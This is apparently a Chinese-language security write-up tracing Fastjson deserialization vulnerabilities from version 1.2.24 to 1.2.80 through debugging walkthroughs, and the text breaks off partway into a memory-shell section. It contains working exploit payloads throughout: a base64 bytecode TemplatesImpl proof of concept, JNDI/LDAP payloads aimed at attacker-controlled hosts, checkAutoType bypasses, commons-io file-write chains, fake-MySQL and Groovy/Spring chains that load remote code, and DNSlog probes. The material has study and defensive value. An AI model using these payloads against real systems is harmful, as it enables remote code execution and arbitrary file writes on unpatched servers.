Fastjson前置知识
反序列化函数
Object obj = JSON.parse();
Object obj = JSON.parseObject("{...}");
Object obj = JSON.parseObject("{...}", Object.class);
JSON.parseObject 的底层调用的还是 JSON.parse 方法,只是在 JSON.parse 的基础上做了一个封装。
@type
- @type字段名,用来表明指定反序列化的目标对象类型
在JSON序列化时开启 SerializerFeature.WriteClassName 选项,序列化出来的结果会在开头加一个 @type 字段,值为进行序列化的类名。
反序列化时带有@type 字段的序列化数据会得到对应类型的实例化对象。
漏洞原理
Fastjson 1.2.22-1.2.24
漏洞的根本原因 还是Fastjson的autotype 功能,此功能可以反序列化的时候人为指定类,然后在利用指定的反序列化器过程中,如果满足条件则会去反射调用setter || getter 方法,以串联某些利用链达成RCE。
autotype再处理json的时候,没有对@type进行安全验证,就可以传入危险的类,远程连接rmi主机,反弹shell之类的操作。
TemplatesImpl利用链
这个利用链需要开启JSON.parseObject的Feature.SupportNonPublicField 选项以支持反序列化使用非public修饰符保护的属性,因为TemplatesImpl里的属性都是私有的。
package FastjsonDemo;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
public class demo {
public static void main(String[] args) throws Exception {
String text ="{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADMAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQALTERlbW8kdGVzdDsBAApTb3VyY2VGaWxlAQAJRGVtby5qYXZhDAAEAAUHABMBAAlEZW1vJHRlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQAERGVtbwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAFW5pY2UwZTM1OTY1NzU3NTI5NjkwMAEAF0xuaWNlMGUzNTk2NTc1NzUyOTY5MDA7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAACwAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ\"],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}";
Object obj = JSON.parseObject(text, Object.class, Feature.SupportNonPublicField);
}
}
在JSON.parseObject 下断点开始调试,com.alibaba.fastjson.JSON#parseObject 调用了自身的另外一个重载方法。
然后实例化一个DefaultJSONParser 类,主要就是根据当前的字符({开头或者是[开头)来赋值,这里是是{开头,把lexer.token 赋为12。
lexer是词法解析器,这里为JSONScanner
最后调用DefaultJSONParser 类的parseObject 方法
先对lexer的token进行判断,然后进入对应处理,若都不满足则直接来到config.getDeserializer(type) 获取了一个ObjectDeserializer对象。
然后去调用JavaObjectDeserializer 对象的derialize 方法,不满足前两个if条件直接进入DefaultJSONParser 类的parse 方法
DefaultJSONParser#parse 对token进行判断进入对应逻辑
跟进这个parseObject 方法,如果key等于@type,则获取lexer中@type键的值给到typeName,也就是获取反序列化的目标对象类型。然后调用TypeUtils.loadClass 方法,反射获取对应类名的类对象。
这个loadClass里做的事情:
会在现有的mappings(缓存)中寻找从@type 传入的classname,如果没有找到,则调用contextClassLoader.loadClass获取AppClassLoader类加载器,并加载到mappings中与@type 传入的类进行关联,最后返回clazz对象。
接着到config.getDeserializer 这里,
里面会去判断是不是是否为Set、HashSet、Collection、List、ArrayList,如果不是则继续判断classname是否继承Collection,Map,Throwable接口,是的话直接调用对应的deserializer反序列化器。若都不匹配则通过ParserConfig#createJavaBeanDeserializer 方法去新建一个对应的反序列化器
跟进这个方法里面又是一堆if判断,
这个boolean asmEnable ,是的话就会调用asmFactory.createJavaBeanDeserializer 解析器(使用ASM生成的反序列化器具有较高的反序列化性能,但不方便调试具体过程),使用asm的条件如下,就是那堆if所判断的条件
- 非Android系统
- 该类及其除Object之外的所有父类为是public的
- 泛型参数非空
- 非asmFactory加载器之外的加载器加载的类
- 非接口类
- 类的setter函数不大于200
- 类有默认构造函数
- 类不能含有仅有getter的filed
- 类不能含有非public的field
- 类不能含有非静态的成员类
- 类本身不是非静态的成员类
接着看这个JavaBeanInfo.build 方法,里面依次遍历获取set方法、类公共属性、get方法。
遍历所有的method,如果 name小于4 || 静态方法 || 返回值不是Void || 不是set前缀,就会跳过这个method。要是都满足set的条件,接着就会做一些转小写,从缓存中查找的操作,这里就不贴代码图了。
直接看到最后的add(fieldList ,将符合条件的method添加到fieldList中。
这里所调用的FieldInfo类的构造方法如下,前面就是对method啥的属性赋值
主要关注getOnly这个属性(影响后面执行method的逻辑),要进入这个getOnly = true 的分支就得满足方法的参数类型不等于一,那么在setter方法中显然是无法满足的。
跳出这个循环直接看第二轮遍历method获取get方法,同样的也是一堆判断
- 判断方法名长度是否大于4,不大于4则跳过
- 静态方法跳过
- 方法名是否get前缀,并且第四个字符为大写,不符合则跳过
- 方法有参数跳过
- 方法返回值不是Collection.class、Map.class、AtomicBoolean.class、AtomicInteger.class、AtomicLong.class或其子孙类则跳过
根据注解取字段名称,若没有注解则根据方法名从第四个字符开始确定字段field名称,根据字段名获取集合中是否已有FieldInfo,有则跳过。也就是set那获取到了就不重复添加方法了,毕竟反序列化主要是设置值。
最后也是将满足条件的method添加到fieldList集合,最后将fieldList丢到一个新的JavaBeanInfo对象中返回。
outputProperties 由于形参类型数量为0,这时候的添加FieldInfo就满足getOnly = true 的条件了,
最后返回了一个JavaBeanInfo对象
回到fastjson.parser.ParserConfig#createJavaBeanDeserializer ,接着从beaninfo中取出defaultConstructor默认构造器、field属性,反正就是去判断是不是满足前面列出来的ASM使用条件,为asmEnable标志位赋值。
因为前面get那遍历method的时候使得getOnly为true 所以这里asmEnable就是true了。
根据asmEnable标志位,进行if条件判断,这边显然是不满足的,于是new一个JavaBeanDeserializer 反序列化器
再build一下,传入这个类重载的构造函数处理
对beanInfo.sortedFields 进行了遍历,把结果给了sortedFieldDeserializers[] ,给每个属性配置了反序列化器
回到DefaultJSONParser#parseObject 方法,上面那么多步骤最后返回了一个类反序列化器,上面获取的所有FieldInfo处理逻辑都在JavaBeanDeserializer.deserialze 中
此时的调用栈如下:
根据当前token的值,也就是json串的闭合符号来确定具体的操作
如果是} ,那就跳转到下一个逗号,调用类的构造方法返回实例化对象。如果是[ 那就丢入deserialzeArrayMapping做数组处理,然后还有几个if判断,要是都没匹配上,那就进入下面fieldIndex处理逻辑。
前面就是把之前存入反序列化器的属性,方法啥的取出来
然后又是根据fieldlClass类型去判断,如果匹配到了就设置boolean matchField = true ,这里显然是都不满足的。
直接到这一步,跟进JavaBeanDeserializer#parseField 方法
也是通过循环遍历获取对应field的反序列化器
然后进入setValue 去反射调用FiledMethod,将值设置进去
setValue方法中也有很多if判断,会利用到FieldInfo前面构建时,收集到的信息,例如method、getOnly等,进行判断是否调用某些方法。
前面几次循环就是正常的setter设置类属性。
直接跳过这个循环到调用outputProperties 这个FiledMethod。对于method不为空的fieldInfo,若getOnly == false ,则直接反射执行method。
若getOnly == true ,也就是只存在对应字段field的getter,而不存在setter,则会对其method的返回类型进行判断,若符合,才会进行反射执行该method。
如果method的返回值类型是map的子孙类则反射执行method,那其实到这就结束了
到这里的调用栈如下:
setValue:85, FieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer) parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser) deserialze:45, JavaObjectDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser) parseObject:339, JSON (com.alibaba.fastjson) parseObject:302, JSON (com.alibaba.fastjson) main:11, demo (FastjsonDemo)
后面就TemplatesImpl的调用链:
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() ->TemplatesImpl#defineTransletClasses() ->TransletClassLoader#defineClass()
刚好是满足这里的Map.class.isAssignableFrom(method.getReturnType()) 条件。
base64编码
可以看到和原来不同的一点在于,POC中的_bytecodes 属性里的恶意字节码是base64编码后的字符串。
调试可见,在DefaultFieldDeserializer#parseField 方法set _bytecodes的值的时候,对应的反序列化器ObjectArrayCodec 会去调用JSONScanner#bytesValue 方法,做一次base64解码
JdbcRowSetImpl利用链(JNDI)
jndi注入通用性较强,但是需要在目标出网的情况下才能使用
这里为了方便调试还是用原来的demo,没有在tomcat环境下测试,所以直接设置jdk为8u111以方便调试,直接用工具起一个恶意ldap服务。
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.106.133
public class demo {
public static void main(String[] args) throws Exception {
String Payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.106.133:1389/Basic/Command/calc\",\"autoCommit\":true}";
Object obj = JSON.parseObject(Payload, Object.class);
}
}
前面的解析过程和TemplatesImpl链没啥区别,直接到FieldDeserializer.setValue 开始调试。
这条链子调用的是setter方法,自然也无法使得getOnly为true,直接进入下面的method.invoke
这里调用的是JdbcRowSetImpl#setAutoCommit 方法,用来设置autoCommit属性的值,传值是一个boolean。所以POC那设置autoCommit属性值给个布尔值即可。
跟进这个JdbcRowSetImpl#connect 方法,就是一个很明显的jndi注入的点。这里预期的话是用来绑定sql数据库地址的嘛,我们传进去json进行反序列化时候dataSourceName 属性设置个恶意ldap或者rmi地址即可。
调用链如下
c_lookup:1092, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:593, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:45, JavaObjectDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:639, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:339, JSON (com.alibaba.fastjson)
parseObject:243, JSON (com.alibaba.fastjson)
parseObject:456, JSON (com.alibaba.fastjson)
高版本绕过
checkAutoType安全机制
该机制自1.2.25版本引入,使用之前的poc试一下,显示类型不支持。
跟入com.alibaba.fastjson.parser.DefaultJSONParser 可见原先的TypeUtils.loadClass 方法变成了config.checkAutoType 方法
checkAutoType 一般有以下几种情况会通过校验:
- 白名单里的类
- 开启了 autotype
- 使用了 JSONType 注解
- 指定了期望类(expectClass)
- 缓存 mapping 中的类
提到这个机制又不得不提到autoTypeSupport选项(默认False)
- False
- 黑名单 -> 白名单,若白名单匹配上则直接加载该类,否则报错。
1.2.25版本的黑名单如下,显然是不能通过检查的
类名解析bypass(<= 1.2.45)
需开启AutoTypeSupport
1.2.41
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://192.168.106.131:1389/Basic/Command/calc","autoCommit":true}
早期版本TypeUtils.loadClass 函数的实现代码中对于类名解析有一些特殊处理,loadClass会将”L”与”;”去除后组成newClassName并返回。
1.2.42
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://192.168.106.131:1389/Basic/Command/calc","autoCommit":true}
在ParserConfig.java中可以看到黑名单改为了哈希黑名单,目前已经破解出来的黑名单:https://github.com/LeadroyaL/fastjson-blacklist
且在checkAutoType 函数多了一次替换,双写即可。
1.2.43
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://192.168.106.131:1389/Basic/Command/calc","autoCommit":true}
在checkAutoType里面添加了如下代码,连续出现两个L会抛出异常。
开头为[也有类似操作,换一个就行。后面几个符号是为了满足json解析格式。
1.2.45开始checkAutoType中添加了针对[的检测,如果第一个字符为[直接抛出异常。可使用mybatis依赖绕过,原理类似JdbcRowSetImpl。
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://192.168.106.131:1389/Basic/Command/calc"}}
mappings缓存绕过
<= 1.2.47
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.106.131:1389/Basic/Command/calc","autoCommit":"true"}}
TypeUtils.loadClass 方法会在类加载之后将类放入缓存
而且fastjson为了速度有一些从缓存中取出类对象的操作
所以这个payload分成两部分来看,第一部分可以通过checkAutoType 方法检查。
进入后面的deserializer.deserialze ,这里实际上调用的是MiscCodec#deserialze 。
parser.parse()获取val的值,也就是com.sun.rowset.JdbcRowSetImpl 。
赋值给strVal,最后由TypeUtils.loadClass加载,添加进mappings。
但Mappings是ConcurrentMap类型的,仅在在当前连接会话生效。所以需要在一次连接会话同时传入两个json键值对。
第二部分再去过checkAutoType 方法检查时就可以从缓存取出类对象从而绕过了。
1.2.48开始在loadClass时,将缓存开关默认设置为False,同时将Class类加入黑名单。
expectClass期望类绕过
期望类可以由类间关系隐式确定,也可以由两个@type 显式指定。
class User {
Foo id;
}
class FooImpl implements Foo {
String fooId;
}
{
"@type":"User",
"id":{
"@type":"FooImpl",
"fooId":"abc"
},
}
{"@type":"Foo","@type":"FooImpl","fooId":"abc"}
1.2.68
回顾一下fastjson反序列化的过程,DefaultJSONParser#parseObject 会去获取对应的类加载器对象。
调用的方法为ParserConfig.getDeserializer ,会根据对象类型去获取对应的反序列化器对象,都不符合的话就调用createJavaBeanDeserializer 方法来构造 JavaBeanDeserializer。
全局搜索传参expectClass的checkAutoType方法,分别位于:
-
JavaBeanDeserializer -
ThrowableDeserializer
也就是上面图片里红色框起来的两个位置对应的deserializer。
AutoCloseable
写一个恶意子类以代替具体利用链,了解期望类的绕过过程。
这里因为JavaBeanDeserializer set设置属性得过程前面已经调试过了,偷个懒就没写setter方法去设置属性,别被误导。
package FastjsonDemo;
import java.io.IOException;
public class EvilAutoCloseable implements AutoCloseable{
public EvilAutoCloseable(){
try{
Runtime.getRuntime().exec("calc");
}catch (IOException e){
e.printStackTrace();
}
}
public void close() throws Exception {
}
}
{"@type":"java.lang.AutoCloseable", "@type":"FastjsonDemo.EvilAutoCloseable"}
从头开始调试,从DefaultJSONParser#parseObject 进入第一次的checkAutoType 方法。
这里相当于期望类的黑名单,包括了大部分常用的父接口和父类,但没有 java.lang.AutoCloseable 。
之后从typeName中解析出className,然后计算hash进行内部白名单、黑名单匹配。
之后分别从getClassFromMapping、deserializers、typeMapping、internalWhite内部白名单中查找类,如果开启了expectClass期望类还要判断类型是否一致。
TypeUtils#mappings 里有 AutoCloseable 类
上面其实就是为了返回一个clazz,以获取对应的反序列化器。
然后回到DefaultJSONParser#parseObject 方法,接着上面的处理逻辑,获取到的deserializer为JavaBeanDeserializer。
并将clazz(interface java.lang.AutoCloseable )作为type参数传入,
现在走到了JavaBeanDeserializer#deserialze 方法。这里还有一个checkAutoType,当第二个字段的 key 也是 @type 的时候就会取 value 当做类名做一次 checkAutoType 检测,也是在这传入的expectClass参数。
expectClass由TypeUtils.getClass(type) 根据type即传入的clazz获取到。
同样的期望类黑名单过滤,然后从deserializers、typeMapping那堆东西里找。这里显然是找不到的嘛
最后如果expectClassFlag 为true的话,使用TypeUtils.loadClass 进行类加载。
然后再给这个类添加到缓存中,并返回JavaBeanDeserializer#deserialze 的userType参数
同样的获取对应的反序列化器去deserialze
按照demo里的写的恶意类这里其实就弹计算器了,但实际不可能直接有个类构造方法写了命令执行的语句,真正触发的地方还是在set属性那。
为了找到合适的java.lang.AutoCloseable 派生类,需要满足非黑名单类、非继承自 ClassLoader、DataSource、RowSet 的类,这个判断在将期望类return之前,会直接抛出异常。这里说白了就是看看在期望类是怎么绕过的。
看真实利用链之前,先了解一下这个接口是干嘛的。
https://www.jianshu.com/p/3a1e774d8625
从AutoCloseable的注释可知它的出现是为了更好的管理资源,准确说是资源的释放,当一个资源类实现了该接口close方法,在使用try-catch-resources语法创建的资源抛出异常后,JVM会自动调用close 方法进行资源释放,当没有抛出异常正常退出try-block时候也会调用close方法。像数据库链接类Connection,io类InputStream或OutputStream都直接或者间接实现了该接口。
commons-io
浅蓝师傅在《fastjson 1.2.68 反序列化漏洞 gadget 的一种挖掘思路》中给出的寻找思路为:
- 需要一个通过 set 方法或构造方法指定文件路径的 OutputStream
- 需要一个通过 set 方法或构造方法传入字节数据的 OutputStream,并且可以通过 set 方法或构造方法传入一个 OutputStream,最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream
- 需要一个通过 set 方法或构造方法传入一个 OutputStream,并且可以通过调用 toString、hashCode、get、set、构造方法调用传入的 OutputStream 的 flush 方法
具体分析看这篇文章吧,个人确实没有精力去再跟一遍,就简单记录下payload复现一下,
Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析
commons-io 2.0 - 2.6
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(写入的恶意内容,长度要大于8192,实际写入前8192个字符)"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"encoding":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
}
commons-io 2.7.0 - 2.8.0
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)",
"start":0,
"end":2147483647
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"charsetName":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
Mysql JDBC
搭配使用 https://github.com/fnmsd/MySQL_Fake_Server
{
"aaa": {
"@type": "u006au0061u0076u0061.lang.AutoCloseable",
"@type": "u0063u006fu006d.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "192.168.33.128",
"portToConnectTo": 3306,
"url": "jdbc:mysql://192.168.33.128:3306/test?detectCustomCollations=true&autoDeserialize=true&user=",
"databaseToConnectTo": "test",
"info": {
"@type": "u006au0061u0076u0061.util.Properties",
"PORT": "3306",
"statementInterceptors": "u0063u006fu006d.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"user": "cb",
"PORT.1": "3306",
"HOST.1": "172.20.64.40",
"NUM_HOSTS": "1",
"HOST": "172.20.64.40",
"DBNAME": "test"
}
}
}
修复:
1.2.68后将java.lang.Runnable 、java.lang.Readable 和java.lang.AutoCloseable 加入了黑名单。
Throwable
这个期望类使用的反序列化器为ThrowableDeserializer ,写个demoException类来调试流程。
package FastjsonDemo;
import java.io.IOException;
public class EvilException extends Exception {
private String cmd;
public EvilException() {
super();
}
public String getDomain() {
return cmd;
}
public void setDomain(String cmd) {
this.cmd = cmd;
}
@Override
public String getMessage() {
try {
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
return e.getMessage();
}
return super.getMessage();
}
}
{"@type":"java.lang.Exception","@type":"FastjsonDemo.EvilException","cmd":"calc"}
基本相同,只是返回的反序列化器是ThrowableDeserializer
如果key为@type的话,获取@type的值,作为类名传入,期望类为Throwable.class
把 message 和 cause 传给了ThrowableDeserializer#createException 处理。
开始实例化异常类,依次查找对应参数的构造方法,找到就直接返回。
实例化后返回ThrowableDeserializer,然后就是为实例化后的异常类设置属性。
1.2.80
Throwable
groovy
测试类:
package FastjsonDemo;
import com.alibaba.fastjson.JSON;
public class groovy {
private static String poc1 = "{\n" +
" \"@type\":\"java.lang.Exception\",\n" +
" \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" +
" \"unit\":{}\n" +
"}";
private static String poc2 = "{\n" +
" \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" +
" \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" +
" \"config\":{\n" +
" \"@type\":\"org.codehaus.groovy.control.CompilerConfiguration\",\n" +
" \"classpathList\":\"http://127.0.0.1:8090/\"\n" +
" }\n" +
"}";
public static void main(String[] args) {
try {
JSON.parseObject(poc1);
} catch (Exception e){}
JSON.parseObject(poc2);
}
}
Evil类
import java.io.IOException;
import org.codehaus.groovy.ast.ASTNode;
import org.codehaus.groovy.control.SourceUnit;
import org.codehaus.groovy.transform.ASTTransformation;
import org.codehaus.groovy.transform.GroovyASTTransformation;
@GroovyASTTransformation
public class Evil implements ASTTransformation {
public void visit(ASTNode[] astNodes, SourceUnit sourceUnit) {
}
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException var1) {
throw new RuntimeException(var1);
}
}
}
文件 META-INF/services/org.codehaus.groovy.transform.ASTTransformation 添加内容 Evil
然后在这个目录起一个http服务即可。
payload1:
{
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}
payload2:
{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type":"org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":"http://127.0.0.1:8090/"
}
}
第一个payload,先使用1.2.68的绕过方式利用期望类加载类,在创建对应field反序列化器设置该类的unit属性(ProcessingUnit类型)时,如果value不是fieldClass类型的会进入com.alibaba.fastjson.util.TypeUtils#cast
经过判断再到com.alibaba.fastjson.util.TypeUtils#cast(java.lang.Object, java.lang.Class<T>, com.alibaba.fastjson.parser.ParserConfig) 函数,根据传入对象的具体类型来进行对应的类型转换操作。
然后到了com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type)
调用自身putDeserializer函数,然后把org.codehaus.groovy.control.ProcessingUnit 对应的deserializer,设置进IdentityHashMap的Entry<K, V>[] buckets 属性
所以也会把org.codehaus.groovy.control.ProcessingUnit 加入反序列化缓存。
第二个payload,org.codehaus.groovy.control.ProcessingUnit 由于缓存的得以顺利加载。
由于org.codehaus.groovy.tools.javac.JavaStubCompilationUnit 是org.codehaus.groovy.control.ProcessingUnit 的子类,所以也能利用期望类绕过checkAutoType成功反序列化。
这个类对应的反序列化器为默认的JavaBeanDeserializer ,进入其deserialze方法,先调用属性的反序列化器去setter
然后调用构造方法进行实例化。
调用链如下图:
这里不把两个payload写一块是因为第一个payload会抛出一个错误,终止后面的解析。
jdbc
依赖jython+postgresql+spring-context
{
"a":{
"@type":"java.lang.Exception",
"@type":"org.python.antlr.ParseException",
"type":{}
},
"b":{
"@type":"org.python.core.PyObject",
"@type":"com.ziclix.python.sql.PyConnection",
"connection":{
"@type":"org.postgresql.jdbc.PgConnection",
"hostSpecs":[
{
"host":"127.0.0.1",
"port":2333
}
],
"user":"user",
"database":"test",
"info":{
"socketFactory":"org.springframework.context.support.ClassPathXmlApplicationContext",
"socketFactoryArg":"http://127.0.0.1:8090/exp.xml"
},
"url":""
}
}
}
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<list value-type="java.lang.String" >
<value>cmd</value>
<value>/c</value>
<value>calc</value>
</list>
</constructor-arg>
<property name="whatever" value="#{pb.start()}"/>
</bean>
</beans>
更多payload:https://github.com/su18/hack-fastjson-1.2.80
更多的利用链分析:回放视频 (8月27日下午视频的第26分钟开始)。
fastjson探测
区分Jackson和fastjson
Jackson 因为强制 key 与 javabean 属性对齐不能多 key,通过是否报错区分
{“name”:“S”, “age”:21} => {“name”:“S”, “age”:21,“abc”:123}
版本信息
{"@type":"java.lang.AutoCloseable"
[{"a":"a\x]
{"@type":"java.lang.AutoCloseable"
a
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}
Set[{"@type":"java.net.URL","val":"http://dnslog"}]
Set[{"@type":"java.net.URL","val":"http://dnslog"}
{{"@type":"java.net.URL","val":"http://dnslog"}:0
漏洞探测
在FastJson1.2.25以及之后的版本中,fastjson为了防止autoType这一机制带来的安全隐患,增加了一层名为checkAutoType的检测机制。当autoTypeSupport为False(默认)时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错。当autoTypeSupport为True时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。
内存马注入
这里的测试环境为JDK8u211+springboot。
使用LDAP+序列化本地工厂类的方式绕过高版本jdk的限制,不过由于org.apache.naming.factory.BeanFactory 在tomcat-catalina 9.0.62后的版本forceString选项已作为安全强化措施删除,所以这里特别设置了tomcat-embed-core的版本
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>9.0.62</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>2.6.7</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
